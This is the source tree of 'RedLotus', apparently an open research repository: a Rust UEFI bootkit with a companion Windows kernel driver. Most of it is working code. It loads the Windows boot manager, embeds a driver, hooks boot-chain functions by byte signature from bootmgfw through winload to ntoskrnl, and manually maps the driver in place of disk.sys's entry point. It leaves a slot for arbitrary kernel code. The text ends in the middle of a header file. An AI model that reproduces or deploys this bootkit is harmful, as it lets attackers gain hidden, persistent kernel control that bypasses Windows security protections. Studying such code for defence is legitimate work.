├── bootkit ├── rust-toolchain.toml ├── src │ ├── boot │ │ ├── mod.rs │ │ ├── globals.rs │ │ ├── pe.rs │ │ ├── includes.rs │ │ └── hooks.rs │ ├── main.rs │ └── mapper │ │ ├── headers.rs │ │ └── mod.rs ├── .cargo │ └── config.toml ├── .gitignore └── Cargo.toml ├── images ├── poc_uefi.png ├── poc_win10.png ├── poc_win11.png └── Legacy-and-UEFI-Boot.png ├── Cargo.toml ├── .gitignore ├── driver ├── .gitignore ├── .cargo │ └── config.toml ├── Cargo.toml ├── Makefile.toml └── src │ ├── lib.rs │ ├── restore.rs │ └── includes.rs ├── LICENSE └── README.md /bootkit/rust-toolchain.toml: -------------------------------------------------------------------------------- 1 | [toolchain] 2 | targets = ["x86_64-unknown-uefi"] -------------------------------------------------------------------------------- /images/poc_uefi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sagiegurari/bootkit-rs/master/images/poc_uefi.png -------------------------------------------------------------------------------- /bootkit/src/boot/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod globals; 2 | pub mod hooks; 3 | pub mod includes; 4 | pub mod pe; 5 | -------------------------------------------------------------------------------- /images/poc_win10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sagiegurari/bootkit-rs/master/images/poc_win10.png -------------------------------------------------------------------------------- /images/poc_win11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sagiegurari/bootkit-rs/master/images/poc_win11.png -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | 3 | members = [ 4 | "bootkit", 5 | "driver", 6 | ] 7 | 8 | resolver = "2" -------------------------------------------------------------------------------- /images/Legacy-and-UEFI-Boot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sagiegurari/bootkit-rs/master/images/Legacy-and-UEFI-Boot.png -------------------------------------------------------------------------------- /bootkit/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "x86_64-unknown-uefi" 3 | rustflags = ["-Z", "pre-link-args=/subsystem:efi_runtime_driver"] 4 | 5 | #[unstable] 6 | #build-std = ["core", "compiler_builtins", "alloc"] 7 | #build-std-features = ["compiler-builtins-mem"] -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | 12 | # Powershell 13 | *.ps1 -------------------------------------------------------------------------------- /bootkit/.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | 12 | # Powershell 13 | *.ps1 -------------------------------------------------------------------------------- /driver/.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | /target/ 4 | 5 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 6 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 7 | Cargo.lock 8 | 9 | # These are backup files generated by rustfmt 10 | **/*.rs.bk 11 | 12 | # Powershell 13 | *.ps1 -------------------------------------------------------------------------------- /bootkit/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "redlotus" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | log = { version = "0.4", default-features = false } 10 | uefi = {version = "0.22.0", features = ["global_allocator", "alloc"] } 11 | #uefi-services = "0.18.0" 12 | obfstr = "0.3.0" 13 | com_logger = "0.1.1" -------------------------------------------------------------------------------- /driver/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "x86_64-pc-windows-msvc" 3 | 4 | rustflags = [ 5 | "-C", "panic=abort", 6 | 7 | # Pre Link Args 8 | "-Z", "pre-link-arg=/NOLOGO", 9 | "-Z", "pre-link-arg=/NXCOMPAT", 10 | "-Z", "pre-link-arg=/NODEFAULTLIB", 11 | "-Z", "pre-link-arg=/SUBSYSTEM:NATIVE", 12 | "-Z", "pre-link-arg=/DRIVER", 13 | "-Z", "pre-link-arg=/DYNAMICBASE", 14 | "-Z", "pre-link-arg=/MANIFEST:NO", 15 | "-Z", "pre-link-arg=/PDBALTPATH:none", 16 | 17 | # Post Link Args 18 | "-C", "link-arg=/OPT:REF,ICF", 19 | "-C", "link-arg=/ENTRY:driver_entry", 20 | "-C", "link-arg=/MERGE:.edata=.rdata", 21 | "-C", "link-arg=/MERGE:.rustc=.data", 22 | "-C", "link-arg=/INTEGRITYCHECK" 23 | ] -------------------------------------------------------------------------------- /driver/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "driver" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [lib] 9 | path = "src/lib.rs" 10 | crate-type = ["cdylib"] 11 | 12 | [profile.dev] 13 | panic = "abort" 14 | 15 | [profile.release] 16 | panic = "abort" 17 | 18 | [dependencies] 19 | log = "0.4.17" # https://crates.io/crates/log 20 | kernel-log = "0.1.2" # https://crates.io/crates/kernel-log 21 | kernel-build = "0.1.0" # https://crates.io/crates/kernel-build 22 | kernel-alloc = { version = "0.2.1", features = ["pool-tag"] } # https://crates.io/crates/kernel-alloc 23 | obfstr = "0.4.1" # https://crates.io/crates/obfstr 24 | 25 | [dependencies.winapi] 26 | git = "https://github.com/Trantect/winapi-rs.git" 27 | branch = "feature/km" 28 | features = [ 29 | "wdm", 30 | "ntstatus", 31 | ] 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 memN0ps 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /driver/Makefile.toml: -------------------------------------------------------------------------------- 1 | [env.development] 2 | TARGET_PATH = "../target/x86_64-pc-windows-msvc/debug" 3 | 4 | [env.production] 5 | TARGET_PATH = "../target/x86_64-pc-windows-msvc/release" 6 | BUILD_FLAGS = "--release" 7 | 8 | [tasks.build-driver] 9 | script = [ 10 | "cargo b %BUILD_FLAGS%" 11 | ] 12 | 13 | [tasks.rename] 14 | dependencies = ["build-driver"] 15 | ignore_errors = true 16 | script = [ 17 | "cd %TARGET_PATH%", 18 | "rename driver.dll redlotus.sys", 19 | ] 20 | 21 | [tasks.sign] 22 | dependencies = ["build-driver", "rename"] 23 | script = [ 24 | # Load the Visual Studio Developer environment 25 | "call \"%ProgramFiles%\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"", 26 | 27 | # Create a self signed certificate (only if not already done) 28 | "if not exist %TARGET_PATH%/DriverCertificate.cer ( makecert -r -pe -ss PrivateCertStore -n CN=DriverCertificate %TARGET_PATH%/DriverCertificate.cer ) else ( echo Certificate already exists. )", 29 | 30 | # Sign the driver 31 | "signtool sign /a /v /s PrivateCertStore /n DriverCertificate /fd certHash /t http://timestamp.digicert.com %TARGET_PATH%/redlotus.sys" 32 | ] -------------------------------------------------------------------------------- /bootkit/src/boot/globals.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_upper_case_globals)] 2 | 3 | use core::ffi::c_void; 4 | use uefi::data_types::PhysicalAddress; 5 | extern crate alloc; 6 | 7 | // Change accordignly 8 | pub const TARGET_DRIVER_HASH: u32 = 0xf78f291d; // Disk.sys hash: 0xf78f291d 9 | pub const NTOSKRNL_HASH: u32 = 0xa3ad0390; // ntoskrnl.exe hash: 0xa3ad0390 10 | pub const MAPPER_DATA_HASH: u32 = 0xd007e143; // mapper_data hash: 0xd007e143 11 | 12 | // Signatures: 13 | // ImgArchStartBootApplication for Windows 10 and Windows 11 14 | pub const ImgArchStartBootApplicationSignature: &str = "48 8B C4 48 89 58 ? 44 89 40 ? 48 89 50 ? 48 89 48 ? 55 56 57 41 54 41 55 41 56 41 57 48 8D 68 A9"; 15 | 16 | // BlImgAllocateImageBuffer for Windows 10 17 | pub const BlImgAllocateImageBufferSignature_1: &str = "48 89 5C 24 ? 48 89 74 24 ? 48 89 7C 24 ? 55 41 54 41 55 41 56 41 57 48 8B EC 48 83 EC ? 48 8B 31"; 18 | 19 | // BlImgAllocateImageBuffer for Windows 11 20 | pub const BlImgAllocateImageBufferSignature_2: &str = 21 | "48 89 5C 24 ? 55 56 57 41 54 41 55 41 56 41 57 48 8B EC 48 83 EC ? 4C 8B 39"; 22 | 23 | // OslFwpKernelSetupPhase1 for Windows 10 24 | pub const OslFwpKernelSetupPhase1Signature_1: &str = 25 | "48 89 4C 24 ? 55 53 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 E1 48 81 EC ? ? ? ? 48 8B F1"; 26 | 27 | // OslFwpKernelSetupPhase1 for Windows 11 28 | pub const OslFwpKernelSetupPhase1Signature_2: &str = 29 | "48 89 4C 24 ? 55 53 56 57 41 54 41 55 41 56 41 57 48 8D 6C 24 E1 48 81 EC ? ? ? ? 45 33 E4"; 30 | 31 | pub const JMP_SIZE: usize = 14; 32 | pub const MAPPER_DATA_SIZE: usize = JMP_SIZE + 7; 33 | 34 | pub const BL_MEMORY_ATTRIBUTE_RWX: u32 = 0x424000; 35 | pub const BL_MEMORY_TYPE_APPLICATION: u32 = 0xE0000012; 36 | 37 | pub static mut ORIGINAL_BYTES: [u8; JMP_SIZE] = [0; JMP_SIZE]; 38 | pub static mut ORIGINAL_BYTES_COPY: [u8; JMP_SIZE] = [0; JMP_SIZE]; 39 | 40 | pub static mut ALLOCATED_BUFFER: *mut c_void = core::ptr::null_mut(); 41 | pub static mut DRIVER_PHYSICAL_MEMORY: PhysicalAddress = 0; 42 | pub static mut DRIVER_IMAGE_SIZE: u64 = 0; 43 | -------------------------------------------------------------------------------- /driver/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | use winapi::{ 3 | km::wdm::DRIVER_OBJECT, 4 | shared::ntdef::{NTSTATUS, UNICODE_STRING}, 5 | }; 6 | mod includes; 7 | mod restore; 8 | 9 | pub const JMP_SIZE: usize = 14; 10 | pub const MAPPER_DATA_SIZE: usize = JMP_SIZE + 7; 11 | 12 | // Change if global.rs hash is changed in bootkit 13 | #[no_mangle] 14 | pub static mut mapper_data: [u8; MAPPER_DATA_SIZE] = [0; MAPPER_DATA_SIZE]; 15 | 16 | #[no_mangle] 17 | pub extern "system" fn __CxxFrameHandler3(_: *mut u8, _: *mut u8, _: *mut u8, _: *mut u8) -> i32 { 18 | unimplemented!() 19 | } 20 | 21 | #[global_allocator] 22 | static GLOBAL: kernel_alloc::KernelAlloc = kernel_alloc::KernelAlloc; 23 | 24 | #[export_name = "_fltused"] 25 | static _FLTUSED: i32 = 0; 26 | 27 | #[allow(unused_imports)] 28 | use core::panic::PanicInfo; 29 | 30 | use crate::restore::restore_bytes; 31 | #[cfg(not(test))] 32 | #[panic_handler] 33 | fn panic(_info: &PanicInfo) -> ! { 34 | loop {} 35 | } 36 | 37 | #[allow(non_camel_case_types)] 38 | type DriverEntryType = 39 | fn(driver_object: &mut DRIVER_OBJECT, registry_path: &UNICODE_STRING) -> NTSTATUS; 40 | 41 | #[allow(non_upper_case_globals)] 42 | static mut DriverEntry: Option = None; 43 | 44 | #[no_mangle] 45 | pub extern "system" fn driver_entry( 46 | driver_object: &mut DRIVER_OBJECT, 47 | registry_path: &UNICODE_STRING, 48 | target_module_entry: *mut u8, 49 | ) -> NTSTATUS { 50 | // When manually mapping a driver you don't call driver_unload. You restart the system instead. 51 | /* Restore execution flow and hooked functions */ 52 | restore_bytes(target_module_entry); 53 | 54 | /* Your code goes here ( Do the other kernel magic below) */ 55 | 56 | /* End of your code (Do the other kernel magic above) */ 57 | 58 | log::info!("[+] Executing unhooked DriverEntry of target driver..."); 59 | // Call the original driver entry to restore execution flow (target driver) 60 | unsafe { 61 | DriverEntry = Some(core::mem::transmute::<*mut u8, DriverEntryType>( 62 | target_module_entry, 63 | )) 64 | }; 65 | return unsafe { DriverEntry.unwrap()(driver_object, registry_path) }; 66 | } 67 | -------------------------------------------------------------------------------- /driver/src/restore.rs: -------------------------------------------------------------------------------- 1 | use core::ptr::{copy_nonoverlapping, null_mut}; 2 | 3 | use crate::includes::LOCK_OPERATION::IoModifyAccess; 4 | use crate::includes::_MM_PAGE_PRIORITY::HighPagePriority; 5 | use kernel_alloc::nt::MEMORY_CACHING_TYPE::MmNonCached; 6 | use kernel_log::KernelLogger; 7 | use log::LevelFilter; 8 | use winapi::km::wdm::KPROCESSOR_MODE::KernelMode; 9 | 10 | use crate::includes::{IoFreeMdl, MmMapLockedPagesSpecifyCache, MmUnlockPages, MmUnmapLockedPages}; 11 | use crate::{ 12 | includes::{IoAllocateMdl, MmProbeAndLockPages}, 13 | mapper_data, 14 | }; 15 | 16 | pub fn restore_bytes(target_module_entry: *mut u8) { 17 | KernelLogger::init(LevelFilter::Info).expect("Failed to initialize logger"); 18 | 19 | log::info!("[+] Driver Entry called"); 20 | log::info!( 21 | "[+] Target Driver DriverEntry Address: {:p}", 22 | target_module_entry 23 | ); 24 | log::info!("[+] Stolen Bytes Address: {:p}", unsafe { 25 | mapper_data.as_ptr() 26 | }); 27 | 28 | /* Force to 1 CPU */ 29 | //unsafe { KeSetSystemAffinityThread(1) }; 30 | 31 | /* Remove write protection */ 32 | // Credits Austin Hudson: https://github.com/realoriginal/bootlicker/blob/master/bootkit/DrvMain.c#L116 33 | //log::info!("[+] Write protection removed"); 34 | //disable_write_protect(); 35 | 36 | // Restore stolen bytes before we do anything else 37 | unsafe { memcopywp(target_module_entry) }; 38 | 39 | log::info!("[+] Stolen bytes restored"); 40 | 41 | /* Insert write protection */ 42 | // Credits Austin Hudson: https://github.com/realoriginal/bootlicker/blob/master/bootkit/DrvMain.c#L128 43 | //log::info!("[+] Write protection restored"); 44 | //enable_write_protect(); 45 | } 46 | 47 | /// Credits: btbd's umap: https://github.com/btbd/umap/blob/master/mapper/util.c#L117 48 | pub unsafe fn memcopywp(target_module_entry: *mut u8) -> Option<()> { 49 | let mdl = IoAllocateMdl( 50 | target_module_entry as _, 51 | mapper_data.len() as u32, 52 | 0, 53 | 0, 54 | null_mut(), 55 | ); 56 | 57 | if mdl.is_null() { 58 | log::info!("[-] Failed to call IoAllocateMdl"); 59 | return None; 60 | } 61 | 62 | MmProbeAndLockPages(mdl, KernelMode, IoModifyAccess); 63 | 64 | let mapped = unsafe { 65 | MmMapLockedPagesSpecifyCache( 66 | mdl, 67 | KernelMode, 68 | MmNonCached, 69 | null_mut(), 70 | 0, 71 | HighPagePriority as _, 72 | ) 73 | }; 74 | 75 | if mapped.is_null() { 76 | log::info!("[-] Failed to call MmMapLockedPagesSpecifyCache"); 77 | MmUnlockPages(mdl); 78 | IoFreeMdl(mdl); 79 | return None; 80 | } 81 | 82 | copy_nonoverlapping(mapper_data.as_ptr(), mapped as _, mapper_data.len()); 83 | 84 | MmUnmapLockedPages(mapped, mdl); 85 | MmUnlockPages(mdl); 86 | IoFreeMdl(mdl); 87 | 88 | Some(()) 89 | } 90 | -------------------------------------------------------------------------------- /driver/src/includes.rs: -------------------------------------------------------------------------------- 1 | #![allow(non_camel_case_types)] 2 | #![allow(non_snake_case)] 3 | #![allow(dead_code)] 4 | 5 | use kernel_alloc::nt::MEMORY_CACHING_TYPE; 6 | use winapi::{ 7 | km::wdm::{KPROCESSOR_MODE, PEPROCESS, PIRP}, 8 | shared::{ 9 | minwindef::ULONG, 10 | ntdef::{BOOLEAN, CSHORT, PVOID}, 11 | }, 12 | }; 13 | 14 | #[link(name = "ntoskrnl")] 15 | extern "system" { 16 | /// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-kesetsystemaffinitythread 17 | /// The KeSetSystemAffinityThread routine sets the system affinity of the current thread. 18 | pub fn KeSetSystemAffinityThread(Affinity: usize); 19 | 20 | /// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-ioallocatemdl 21 | /// The IoAllocateMdl routine allocates a memory descriptor list (MDL) large enough to map a buffer, 22 | /// given the buffer's starting address and length. Optionally, this routine associates the MDL with an IRP. 23 | pub fn IoAllocateMdl( 24 | VirtualAddress: PVOID, 25 | Length: ULONG, 26 | SecondaryBuffer: BOOLEAN, 27 | ChargeQuota: BOOLEAN, 28 | Irp: PIRP, 29 | ) -> PMDL; 30 | 31 | /// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmprobeandlockpages 32 | /// The MmProbeAndLockPages routine probes the specified virtual memory pages, makes them resident, 33 | /// and locks them in memory (say for a DMA transfer). 34 | /// This ensures the pages cannot be freed and reallocated while a device driver (or hardware) is still using them. 35 | pub fn MmProbeAndLockPages( 36 | MemoryDescriptorList: *mut MDL, 37 | AccessMode: KPROCESSOR_MODE, 38 | Operation: LOCK_OPERATION, 39 | ); 40 | 41 | /// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmmaplockedpagesspecifycache?source=recommendations 42 | /// The MmMapLockedPagesSpecifyCache routine maps the physical pages that are described by an MDL to a virtual address, 43 | /// and enables the caller to specify the cache attribute that is used to create the mapping. 44 | pub fn MmMapLockedPagesSpecifyCache( 45 | MemoryDescriptorList: PMDL, 46 | AccessMode: KPROCESSOR_MODE, 47 | CacheType: MEMORY_CACHING_TYPE, 48 | RequestedAddress: PVOID, 49 | BugCheckOnFailure: ULONG, 50 | Priority: ULONG, 51 | ) -> PVOID; 52 | 53 | /// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmunmaplockedpages 54 | /// The MmUnmapLockedPages routine releases a mapping that was set up by a preceding call to the 55 | /// MmMapLockedPages or MmMapLockedPagesSpecifyCache routine. 56 | pub fn MmUnmapLockedPages(BaseAddress: PVOID, MemoryDescriptorList: PMDL); 57 | 58 | /// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-mmunlockpages 59 | /// The MmUnlockPages routine unlocks the physical pages that are described by the specified memory descriptor list (MDL). 60 | pub fn MmUnlockPages(MemoryDescriptorList: PMDL); 61 | 62 | /// https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iofreemdl 63 | /// The IoFreeMdl routine releases a caller-allocated memory descriptor list (MDL). 64 | pub fn IoFreeMdl(Mdl: PMDL); 65 | } 66 | 67 | #[repr(u32)] 68 | #[derive(Debug, Copy, Clone, PartialEq, Eq)] 69 | pub enum LOCK_OPERATION { 70 | IoReadAccess = 0, 71 | IoWriteAccess = 1, 72 | IoModifyAccess = 2, 73 | } 74 | 75 | #[repr(C)] 76 | #[derive(Debug)] 77 | pub struct _MDL { 78 | pub Next: *mut _MDL, 79 | pub Size: CSHORT, 80 | pub MdlFlags: CSHORT, 81 | pub Process: PEPROCESS, 82 | pub MappedSystemVa: PVOID, 83 | pub StartVa: PVOID, 84 | pub ByteCount: ULONG, 85 | pub ByteOffset: ULONG, 86 | } 87 | 88 | pub type MDL = _MDL; 89 | pub type PMDL = *mut _MDL; 90 | 91 | #[repr(u32)] 92 | #[derive(Debug, Copy, Clone, PartialEq, Eq)] 93 | pub enum _MM_PAGE_PRIORITY { 94 | LowPagePriority = 0, 95 | NormalPagePriority = 16, 96 | HighPagePriority = 32, 97 | } 98 | -------------------------------------------------------------------------------- /bootkit/src/main.rs: -------------------------------------------------------------------------------- 1 | #![no_main] 2 | #![no_std] 3 | #![feature(lang_items)] 4 | #![feature(panic_info_message)] 5 | #![feature(offset_of)] 6 | 7 | use core::ptr::copy_nonoverlapping; 8 | 9 | use crate::{ 10 | boot::globals::{DRIVER_IMAGE_SIZE, DRIVER_PHYSICAL_MEMORY}, 11 | mapper::get_nt_headers, 12 | }; 13 | use log::LevelFilter; 14 | use uefi::{ 15 | prelude::*, 16 | table::boot::{AllocateType, MemoryType}, 17 | }; 18 | 19 | mod boot; 20 | mod mapper; 21 | 22 | // Change as you like 23 | #[cfg(not(test))] 24 | #[panic_handler] 25 | fn panic_handler(info: &core::panic::PanicInfo) -> ! { 26 | if let Some(location) = info.location() { 27 | log::error!( 28 | "[-] Panic in {} at ({}, {}):", 29 | location.file(), 30 | location.line(), 31 | location.column() 32 | ); 33 | if let Some(message) = info.message() { 34 | log::error!("[-] {}", message); 35 | } 36 | } 37 | 38 | loop {} 39 | } 40 | 41 | /* The image handle represents the currently-running executable, and the system table provides access to many different UEFI services. 42 | (Removed as it requires uefi_services::init) 43 | //#[entry] 44 | //fn main(image_handle: handle, image_handle: Handle, mut system_table: SystemTable) { } 45 | */ 46 | 47 | #[no_mangle] 48 | fn efi_main(image_handle: Handle, system_table: SystemTable) -> Status { 49 | /* Setup a simple memory allocator, initialize logger, and provide panic handler. (Removed as it conflicts with com_logger) */ 50 | //uefi_services::init(&mut system_table).unwrap(); 51 | 52 | /* Clear stdout/stderr output screen */ 53 | //system_table.stdout().clear().expect("Failed to clear the stdout output screen."); 54 | //system_table.stderr().clear().expect("Failed to clear the stderr output screen."); 55 | 56 | /* Setup a logger with the default settings. The default settings is COM1 port with level filter Info */ 57 | //com_logger::init(); 58 | 59 | // Use COM2 port with level filter Info 60 | com_logger::builder() 61 | .base(0x2f8) 62 | .filter(LevelFilter::Info) 63 | .setup(); 64 | 65 | log::info!("### UEFI Bootkit (RedLotus) in Rust by memN0ps ###"); 66 | 67 | let boot_services = system_table.boot_services(); 68 | unsafe { boot_services.set_image_handle(image_handle) }; 69 | unsafe { uefi::allocator::init(boot_services) }; 70 | 71 | /* Locate and load Windows EFI Boot Manager (bootmgfw.efi) */ 72 | let bootmgfw_handle = 73 | boot::pe::load_windows_boot_manager(boot_services).expect("Failed to load image"); 74 | log::info!("[+] Image Loaded Successfully!"); 75 | 76 | // Read Windows kernel driver from disk as bytes and data in global variable for later 77 | let mut driver_bytes = 78 | include_bytes!("../../target/x86_64-pc-windows-msvc/debug/redlotus.sys").to_vec(); 79 | 80 | log::info!( 81 | "[+] RedLotus.sys Bytes Address: {:#p}", 82 | driver_bytes.as_mut_ptr() 83 | ); 84 | log::info!("[+] RedLotus.sys Bytes Length: {:#x}", driver_bytes.len()); 85 | 86 | let nt_headers = unsafe { get_nt_headers(driver_bytes.as_mut_ptr()).unwrap() }; 87 | log::info!("[+] RedLotus.sys SizeOfImage: {:#x}", unsafe { 88 | (*nt_headers).OptionalHeader.SizeOfImage as u64 89 | }); 90 | unsafe { DRIVER_IMAGE_SIZE = (*nt_headers).OptionalHeader.SizeOfImage as u64 }; 91 | 92 | /* Allocates memory pages from the system for the Windows kernel driver to manually map */ 93 | unsafe { 94 | DRIVER_PHYSICAL_MEMORY = boot_services 95 | .allocate_pages( 96 | AllocateType::AnyPages, 97 | MemoryType::RUNTIME_SERVICES_CODE, 98 | size_to_pages(driver_bytes.len()), 99 | ) 100 | .expect("Failed to allocate memory pages"); 101 | log::info!( 102 | "[+] Allocated memory pages for the driver at: {:#x}", 103 | DRIVER_PHYSICAL_MEMORY 104 | ); 105 | } 106 | 107 | /* Copy Windows kernel driver to the allocated memory*/ 108 | unsafe { 109 | copy_nonoverlapping( 110 | driver_bytes.as_mut_ptr(), 111 | DRIVER_PHYSICAL_MEMORY as *mut u8, 112 | driver_bytes.len(), 113 | ) 114 | }; 115 | 116 | /* Set up the hook chain from bootmgfw.efi -> windload.efi -> ntoskrnl.exe */ 117 | boot::hooks::setup_hooks(&bootmgfw_handle, boot_services).expect("Failed to setup hooks"); 118 | log::info!( 119 | "[+] Trampoline hooks setup successfully! (bootmgfw.efi -> windload.efi -> ntoskrnl.exe)" 120 | ); 121 | 122 | /* Make the system pause for 10 seconds */ 123 | log::info!("[+] Stalling the processor for 10 seconds"); 124 | system_table.boot_services().stall(10_000_000); 125 | 126 | /* Start Windows EFI Boot Manager (bootmgfw.efi) */ 127 | log::info!("[+] Starting Windows EFI Boot Manager (bootmgfw.efi)..."); 128 | boot_services 129 | .start_image(bootmgfw_handle) 130 | .expect("[-] Failed to start Windows EFI Boot Manager"); 131 | 132 | Status::SUCCESS 133 | } 134 | 135 | /// Credits to tandasat: https://github.com/tandasat/Hypervisor-101-in-Rust/blob/5e7befc39b915c555f19e71bfb98ed9e8339eb51/hypervisor/src/main.rs#L196 136 | /// Computes how many pages are needed for the given bytes. 137 | fn size_to_pages(size: usize) -> usize { 138 | const BASE_PAGE_SHIFT: usize = 12; 139 | const PAGE_MASK: usize = 0xfff; 140 | 141 | (size >> BASE_PAGE_SHIFT) + usize::from((size & PAGE_MASK) != 0) 142 | } 143 | -------------------------------------------------------------------------------- /bootkit/src/mapper/headers.rs: -------------------------------------------------------------------------------- 1 | #![allow(dead_code)] 2 | #![allow(non_snake_case)] 3 | #![allow(non_camel_case_types)] 4 | /* 5 | * Credits: 6 | * https://github.com/microsoft/windows-rs 7 | * https://github.com/retep998/winapi-rs 8 | */ 9 | 10 | pub type PIMAGE_DOS_HEADER = *mut IMAGE_DOS_HEADER; 11 | pub type PIMAGE_NT_HEADERS64 = *mut IMAGE_NT_HEADERS64; 12 | pub type PIMAGE_FILE_HEADER = *mut IMAGE_FILE_HEADER; 13 | pub type PIMAGE_SECTION_HEADER = *mut IMAGE_SECTION_HEADER; 14 | pub type IMAGE_OPTIONAL_HEADER = IMAGE_OPTIONAL_HEADER64; 15 | pub type PIMAGE_DATA_DIRECTORY = *mut IMAGE_DATA_DIRECTORY; 16 | pub type PIMAGE_EXPORT_DIRECTORY = *mut IMAGE_EXPORT_DIRECTORY; 17 | pub type PIMAGE_BASE_RELOCATION = *mut IMAGE_BASE_RELOCATION; 18 | pub type PIMAGE_IMPORT_DESCRIPTOR = *mut IMAGE_IMPORT_DESCRIPTOR; 19 | pub type PIMAGE_THUNK_DATA64 = *mut IMAGE_THUNK_DATA64; 20 | pub type PIMAGE_IMPORT_BY_NAME = *mut IMAGE_IMPORT_BY_NAME; 21 | 22 | pub type IMAGE_FILE_MACHINE = u16; 23 | pub type IMAGE_FILE_CHARACTERISTICS = u16; 24 | pub type IMAGE_OPTIONAL_HEADER_MAGIC = u16; 25 | pub type IMAGE_SUBSYSTEM = u16; 26 | pub type IMAGE_DLL_CHARACTERISTICS = u16; 27 | pub type IMAGE_DIRECTORY_ENTRY = u16; 28 | pub type IMAGE_SECTION_CHARACTERISTICS = u32; 29 | 30 | pub const IMAGE_DOS_SIGNATURE: u16 = 23117u16; 31 | pub const IMAGE_NT_SIGNATURE: u32 = 17744u32; 32 | pub const IMAGE_DIRECTORY_ENTRY_EXPORT: IMAGE_DIRECTORY_ENTRY = 0u16; 33 | pub const IMAGE_DIRECTORY_ENTRY_BASERELOC: IMAGE_DIRECTORY_ENTRY = 5u16; 34 | pub const IMAGE_REL_BASED_DIR64: u32 = 10u32; 35 | pub const IMAGE_REL_BASED_HIGHLOW: u32 = 3u32; 36 | pub const IMAGE_DIRECTORY_ENTRY_IMPORT: IMAGE_DIRECTORY_ENTRY = 1u16; 37 | pub const IMAGE_ORDINAL_FLAG64: u64 = 9223372036854775808u64; 38 | 39 | #[repr(C, packed(2))] 40 | pub struct IMAGE_DOS_HEADER { 41 | pub e_magic: u16, 42 | pub e_cblp: u16, 43 | pub e_cp: u16, 44 | pub e_crlc: u16, 45 | pub e_cparhdr: u16, 46 | pub e_minalloc: u16, 47 | pub e_maxalloc: u16, 48 | pub e_ss: u16, 49 | pub e_sp: u16, 50 | pub e_csum: u16, 51 | pub e_ip: u16, 52 | pub e_cs: u16, 53 | pub e_lfarlc: u16, 54 | pub e_ovno: u16, 55 | pub e_res: [u16; 4], 56 | pub e_oemid: u16, 57 | pub e_oeminfo: u16, 58 | pub e_res2: [u16; 10], 59 | pub e_lfanew: i32, 60 | } 61 | 62 | #[repr(C)] 63 | pub struct IMAGE_NT_HEADERS64 { 64 | pub Signature: u32, 65 | pub FileHeader: IMAGE_FILE_HEADER, 66 | pub OptionalHeader: IMAGE_OPTIONAL_HEADER64, 67 | } 68 | 69 | #[repr(C)] 70 | pub struct IMAGE_FILE_HEADER { 71 | pub Machine: IMAGE_FILE_MACHINE, 72 | pub NumberOfSections: u16, 73 | pub TimeDateStamp: u32, 74 | pub PointerToSymbolTable: u32, 75 | pub NumberOfSymbols: u32, 76 